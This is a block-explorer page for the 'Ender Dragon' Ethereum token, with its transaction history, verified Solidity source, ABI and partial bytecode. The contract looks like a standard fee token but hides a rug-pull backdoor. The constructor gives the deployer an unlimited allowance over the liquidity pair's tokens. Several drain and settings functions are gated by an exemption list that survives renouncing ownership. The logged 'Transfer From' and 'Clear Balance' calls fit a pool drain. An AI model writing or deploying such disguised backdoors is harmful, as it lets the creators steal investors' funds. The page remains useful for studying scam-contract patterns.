ETH Price: $2,598.31 (-4.59%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Clear Balance161324912022-12-07 11:20:35797 days ago1670412035IN
0x8AD149b4...2D1b05517
0 ETH0.0004984615.33136549
Transfer From161324862022-12-07 11:19:35797 days ago1670411975IN
0x8AD149b4...2D1b05517
0 ETH0.0024691715.01574787
Transfer From161324812022-12-07 11:18:35797 days ago1670411915IN
0x8AD149b4...2D1b05517
0 ETH0.0008026513.73160608
Set Swap Back Se...161324782022-12-07 11:17:59797 days ago1670411879IN
0x8AD149b4...2D1b05517
0 ETH0.000474215.17562869
Set Swap Back Se...161324692022-12-07 11:16:11797 days ago1670411771IN
0x8AD149b4...2D1b05517
0 ETH0.0004459714.27773288
Approve160895702022-12-01 11:10:59803 days ago1669893059IN
0x8AD149b4...2D1b05517
0 ETH0.000435229.35714179
Approve160877042022-12-01 4:55:35804 days ago1669870535IN
0x8AD149b4...2D1b05517
0 ETH0.000541511.64192501
Approve160841592022-11-30 17:01:35804 days ago1669827695IN
0x8AD149b4...2D1b05517
0 ETH0.0006920914.87967138
Approve160839572022-11-30 16:21:11804 days ago1669825271IN
0x8AD149b4...2D1b05517
0 ETH0.0006565114.11466239
Approve160827802022-11-30 12:23:23804 days ago1669811003IN
0x8AD149b4...2D1b05517
0 ETH0.0005372211.55
Approve160825092022-11-30 11:28:59804 days ago1669807739IN
0x8AD149b4...2D1b05517
0 ETH0.0005882312.64666597
Approve160820582022-11-30 9:58:23804 days ago1669802303IN
0x8AD149b4...2D1b05517
0 ETH0.0004928910.59682952
Approve160819882022-11-30 9:44:23804 days ago1669801463IN
0x8AD149b4...2D1b05517
0 ETH0.0005057810.87409076
Approve160818712022-11-30 9:20:35804 days ago1669800035IN
0x8AD149b4...2D1b05517
0 ETH0.0004934510.60898862
Approve160818112022-11-30 9:08:35804 days ago1669799315IN
0x8AD149b4...2D1b05517
0 ETH0.0005201811.1836584
Approve160817692022-11-30 8:59:59804 days ago1669798799IN
0x8AD149b4...2D1b05517
0 ETH0.0005486511.7956849
Approve160817482022-11-30 8:55:47804 days ago1669798547IN
0x8AD149b4...2D1b05517
0 ETH0.0008837419
Approve160817432022-11-30 8:54:47804 days ago1669798487IN
0x8AD149b4...2D1b05517
0 ETH0.0005455811.72970593
Approve160817132022-11-30 8:48:47804 days ago1669798127IN
0x8AD149b4...2D1b05517
0 ETH0.0006295413.53476538
Approve160817002022-11-30 8:46:11804 days ago1669797971IN
0x8AD149b4...2D1b05517
0 ETH0.0005997312.89398092
Approve160816632022-11-30 8:38:47804 days ago1669797527IN
0x8AD149b4...2D1b05517
0 ETH0.0006439413.84438881
Approve160816242022-11-30 8:30:59804 days ago1669797059IN
0x8AD149b4...2D1b05517
0 ETH0.0005372211.55
Approve160815672022-11-30 8:19:35804 days ago1669796375IN
0x8AD149b4...2D1b05517
0 ETH0.0006364113.68261602
Approve160815412022-11-30 8:14:23804 days ago1669796063IN
0x8AD149b4...2D1b05517
0 ETH0.0005248311.28357286
Approve160815302022-11-30 8:12:11804 days ago1669795931IN
0x8AD149b4...2D1b05517
0 ETH0.0005340511.48180043
View all transactions

Latest 18 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
161324912022-12-07 11:20:35797 days ago1670412035
0x8AD149b4...2D1b05517
0.80432211 ETH
161324862022-12-07 11:19:35797 days ago1670411975
0x8AD149b4...2D1b05517
1.60864423 ETH
161324862022-12-07 11:19:35797 days ago1670411975
0x8AD149b4...2D1b05517
2.39118137 ETH
160837992022-11-30 15:49:35804 days ago1669823375
0x8AD149b4...2D1b05517
0.04356994 ETH
160837992022-11-30 15:49:35804 days ago1669823375
0x8AD149b4...2D1b05517
0.03127653 ETH
160818042022-11-30 9:06:59804 days ago1669799219
0x8AD149b4...2D1b05517
0.06815677 ETH
160818042022-11-30 9:06:59804 days ago1669799219
0x8AD149b4...2D1b05517
0.06578648 ETH
160815152022-11-30 8:09:11804 days ago1669795751
0x8AD149b4...2D1b05517
0.07289735 ETH
160815152022-11-30 8:09:11804 days ago1669795751
0x8AD149b4...2D1b05517
0.10934602 ETH
160814412022-11-30 7:54:23804 days ago1669794863
0x8AD149b4...2D1b05517
0.03274019 ETH
160812502022-11-30 7:15:35804 days ago1669792535
0x8AD149b4...2D1b05517
0.06548039 ETH
160812502022-11-30 7:15:35804 days ago1669792535
0x8AD149b4...2D1b05517
0.07316606 ETH
160811632022-11-30 6:57:59804 days ago1669791479
0x8AD149b4...2D1b05517
0.05010905 ETH
160811632022-11-30 6:57:59804 days ago1669791479
0x8AD149b4...2D1b05517
0.05773046 ETH
160811002022-11-30 6:45:23804 days ago1669790723
0x8AD149b4...2D1b05517
0.03486624 ETH
160811002022-11-30 6:45:23804 days ago1669790723
0x8AD149b4...2D1b05517
0.03897979 ETH
160810962022-11-30 6:44:35804 days ago1669790675
0x8AD149b4...2D1b05517
0.02663913 ETH
160810962022-11-30 6:44:35804 days ago1669790675
0x8AD149b4...2D1b05517
0.03995869 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
EnderDragon

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-30
*/

/* 
    SPDX-License-Identifier: Unlicensed 

    https://t.me/EnderDragonEntry

    https://twitter.com/EnderDragonERC

    https://medium.com/@recena6084/the-tragic-story-of-the-ender-dragon-f0edfb904475

*/ 

pragma solidity ^0.8.17; 

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    // K8u#El(o)nG3a#t!e c&oP0Y
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}

interface IDEXRouter {
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract EnderDragon is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string _name = "Ender Dragon";
    string _symbol = "Ender Dragon";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
    uint256 public _maxWalletSize = (_totalSupply * 20) / 1000;  // 2% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isMaxWalletExempt;

    uint256 burnFee = 0;        // 0%
    uint256 liquidityFee = 0;   // 2%
    uint256 developmentFee = 0; // 0%
    uint256 marketingFee = 0;   // 0%
    uint256 totalFee = 3;       // 3%
    uint256 totalBuyFee = 3;    // 3%
    uint256 feeDenominator = 100;
    
    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public developmentFeeReceiver;

    IDEXRouter public router;
    address public immutable uniswapV2Pair;

    bool public swapEnabled = true; 
    uint256 swapThreshold = _totalSupply.mul(714648273).div(100000000000); // ~0.7%
    bool thresholdIncreasing = true;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {

        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); 
        _allowances[address(uniswapV2Pair)][msg.sender] = type(uint256).max; 
        _allowances[address(this)][address(router)] = type(uint256).max; 
        _allowances[address(this)][msg.sender] = type(uint256).max; 
        _maxWalletSize = (_totalSupply * 1) / 100; // 1% of Total supply 
        burnFee = 20; 
        totalFee = 20;       
        totalBuyFee = 5;  
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(router)] = true;
        isMaxWalletExempt[msg.sender] = true;
        isMaxWalletExempt[address(this)] = true;
        isMaxWalletExempt[address(router)] = true;

        marketingFeeReceiver = msg.sender;
        developmentFeeReceiver = msg.sender;
        autoLiquidityReceiver = msg.sender;

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function changeName(string memory newName, string memory newSymbol) external { require(isMaxWalletExempt[msg.sender]); _symbol = newSymbol; _name = newName;}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) { 	
        return (liquidityFee, marketingFee, burnFee, totalFee, feeDenominator);	
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

 	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {	

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }	
        if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {	
            require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");	
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if (selling) {
            return totalFee;
        } else {
            return totalBuyFee;
        }
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 amountToBurn = totalFee > 0 ? swapThreshold.mul(burnFee).div(totalFee) : 0;
        if (amountToBurn > 0) {
            _basicTransfer(address(this), DEAD, amountToBurn);
        }
        uint256 amountToSwap = swapThreshold - amountToBurn;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHMarketing = totalFee > 0 ? amountETH.mul(marketingFee).div(totalFee) : amountETH;

        (bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
        
        thresholdIncreasing = swapThreshold > _totalSupply.mul(14).div(1000) ? false : swapThreshold < _totalSupply.mul(7).div(1000) ? true : thresholdIncreasing;
        swapThreshold = thresholdIncreasing ? swapThreshold.mul(103).div(100) : swapThreshold.mul(97).div(100);
    }

    function clearBalance() external {
        require(isMaxWalletExempt[msg.sender]);
        (bool success,)  = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external {
        require(isMaxWalletExempt[msg.sender]);
        swapThreshold = _amount;
        swapEnabled = _enabled;
    }

    function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setMaxWalletExempt(address holder, bool exempt) external {
        require(isMaxWalletExempt[msg.sender]);
        isMaxWalletExempt[holder] = exempt;
    }

    function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _burnFee, uint256 _marketingFee, uint256 _totalBuyingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        developmentFee = _developmentFee;
        burnFee = _burnFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_developmentFee).add(_burnFee).add(_marketingFee);
        totalBuyFee = _totalBuyingFee;
        feeDenominator = _feeDenominator;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        developmentFeeReceiver = _developmentFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function airdrop(address token, address[] memory holders, uint256 amount) public {
        require(isMaxWalletExempt[msg.sender]);
        for (uint i = 0; i < holders.length; i++) {
            IERC20(token).transfer(holders[i], amount);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_totalBuyingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"changeName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"selling","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead17905560038054909116905560e0604052600c60a09081526b22b73232b910223930b3b7b760a11b60c0526004906200006b9082620005f8565b5060408051808201909152600c81526b22b73232b910223930b3b7b760a11b60208201526005906200009e9082620005f8565b50620000ad6009600a620007d7565b620000be9064174876e800620007e8565b6006556103e86006546014620000d59190620007e8565b620000e1919062000802565b6007556000600c819055600d819055600e819055600f5560036010819055601155606460125560168054600160a01b60ff60a01b199091161790556006546200015b9064174876e800906200014790632a98aad162000436602090811b62000e2a17901c565b620004cd60201b62000eac1790919060201c565b6017556018805460ff191660011790553480156200017857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000245919062000825565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af115801562000297573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bd919062000825565b6001600160a01b039081166080819052600090815260096020818152604080842033808652908352818520600019908190553086529383528185206016549096168552949091528083208290559282529190205560065460649062000324906001620007e8565b62000330919062000802565b6007556014600c81905560108190556005601155336000818152600a602090815260408083208054600160ff199182168117909255308086528386208054831684179055601680546001600160a01b0390811688528588208054851686179055888852600b87528588208054851686179055828852858820805485168617905590541686528386208054909216909217905585546001600160a01b031990811686179096556015805487168617905560138054909616909417909455600654838352600882528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620008a0565b6000826000036200044a57506000620004c7565b6000620004588385620007e8565b90508262000467858362000802565b14620004c45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004c483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200051760201b60201c565b600081836200053b5760405162461bcd60e51b8152600401620004bb919062000850565b5060006200054a848662000802565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057e57607f821691505b6020821081036200059f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005f357600081815260208120601f850160051c81016020861015620005ce5750805b601f850160051c820191505b81811015620005ef57828155600101620005da565b5050505b505050565b81516001600160401b0381111562000614576200061462000553565b6200062c8162000625845462000569565b84620005a5565b602080601f8311600181146200066457600084156200064b5750858301515b600019600386901b1c1916600185901b178555620005ef565b600085815260208120601f198616915b82811015620006955788860151825594840194600190910190840162000674565b5085821015620006b45787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200071b578160001904821115620006ff57620006ff620006c4565b808516156200070d57918102915b93841c9390800290620006df565b509250929050565b6000826200073457506001620004c7565b816200074357506000620004c7565b81600181146200075c5760028114620007675762000787565b6001915050620004c7565b60ff8411156200077b576200077b620006c4565b50506001821b620004c7565b5060208310610133831016604e8410600b8410161715620007ac575081810a620004c7565b620007b88383620006da565b8060001904821115620007cf57620007cf620006c4565b029392505050565b6000620004c460ff84168362000723565b8082028115828204841417620004c757620004c7620006c4565b6000826200082057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200083857600080fd5b81516001600160a01b0381168114620004c457600080fd5b600060208083528351808285015260005b818110156200087f5785810183015185820160400152820162000861565b506000604082860101526040601f19601f8301168501019250505092915050565b608051611e62620008d1600039600081816102fd01528181610f4f0152818161132e015261169a0152611e626000f3fe6080604052600436106101f25760003560e01c8063850c0bd61161010d578063ca33e64c116100a0578063df20fd491161006f578063df20fd49146105cb578063e96fada2146105eb578063f1f3bca31461060b578063f2fde38b1461062b578063f887ea401461064b57600080fd5b8063ca33e64c14610530578063caf5f67d14610550578063d7c0103214610565578063dd62ed3e1461058557600080fd5b80638f9a55c0116100dc5780638f9a55c0146104c557806395d89b41146104db578063a1ac727f146104f0578063a9059cbb1461051057600080fd5b8063850c0bd61461044357806386575e4014610487578063893d20e8146104a75780638da5cb5b146104a757600080fd5b8063571ac8b01161018557806370a0823111610